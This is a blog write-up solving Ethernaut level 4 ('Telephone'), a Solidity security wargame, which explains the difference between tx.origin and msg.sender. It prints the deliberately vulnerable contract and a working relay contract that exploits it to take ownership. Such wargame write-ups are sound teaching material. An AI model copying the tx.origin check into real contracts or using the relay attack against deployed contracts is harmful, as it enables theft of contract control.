# Ethernaut 4: Telephone

By [0xbanky](https://paragraph.com/@banky) · 2022-08-15

---

This is my solution to the fourth challenge of ethernaut: [https://ethernaut.openzeppelin.com/level/0x0b6F6CE4BCfB70525A31454292017F640C10c768](https://ethernaut.openzeppelin.com/level/0x0b6F6CE4BCfB70525A31454292017F640C10c768)

Investigation
-------------

This problem is for a pretty simple contract

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.0;
    
    contract Telephone {
    
      address public owner;
    
      constructor() public {
        owner = msg.sender;
      }
    
      function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
          owner = _owner;
        }
      }
    }
    

It simply has an owner and a function to change the owner. When we change the owner, we only allow it to get changed if `tx.origin` is not the current caller of the function. I did not know what `tx.origin` was, so after some googling I found an answer. It is the first non-contract address that called the function. ie. in a call chain that looks like this:

A → B → C → D

A user `A` makes a call to contract `B`, which calls a function on contract `C` that calls something on contract `D`. In this chain, if we chack `tx.origin` on contract `D`, it will be `A` . However, the `msg.sender` will be `C`.

Solution
--------

To solve this problem, I needed to call the `changeOwner` function through a relay contract. This way, `tx.origin` will be my wallet, and `msg.sender` will be the address of the relay contract. I created, compiled and deployed the relay contract using the Remix IDE

    pragma solidity ^0.6.0;
    
    contract TelephoneRelay {
    
        function relay () public {
            address addr = 0x4F9f093efd94c7b81f954Bd7648805a98b5Ce230;
            (bool success, bytes memory result) = addr.call(abi.encodeWithSignature("changeOwner(address)", msg.sender));
    
            require(success, "Relay not successful");
        }
    }
    

I got the address of my problem contract and called the `changeOwner` function with the low level `address.call` function. More info about that [here](https://kushgoyal.com/ethereum-solidity-how-use-call-delegatecall/). Sure enough, the owner was updated with my address. Success!

What I learned
--------------

1.  There is a difference between `tx.origin` and `msg.sender` and we have to keep this difference in mind when using `tx.origin` because we can end up with security holes

---

*Originally published on [0xbanky](https://paragraph.com/@banky/ethernaut-4-telephone)*
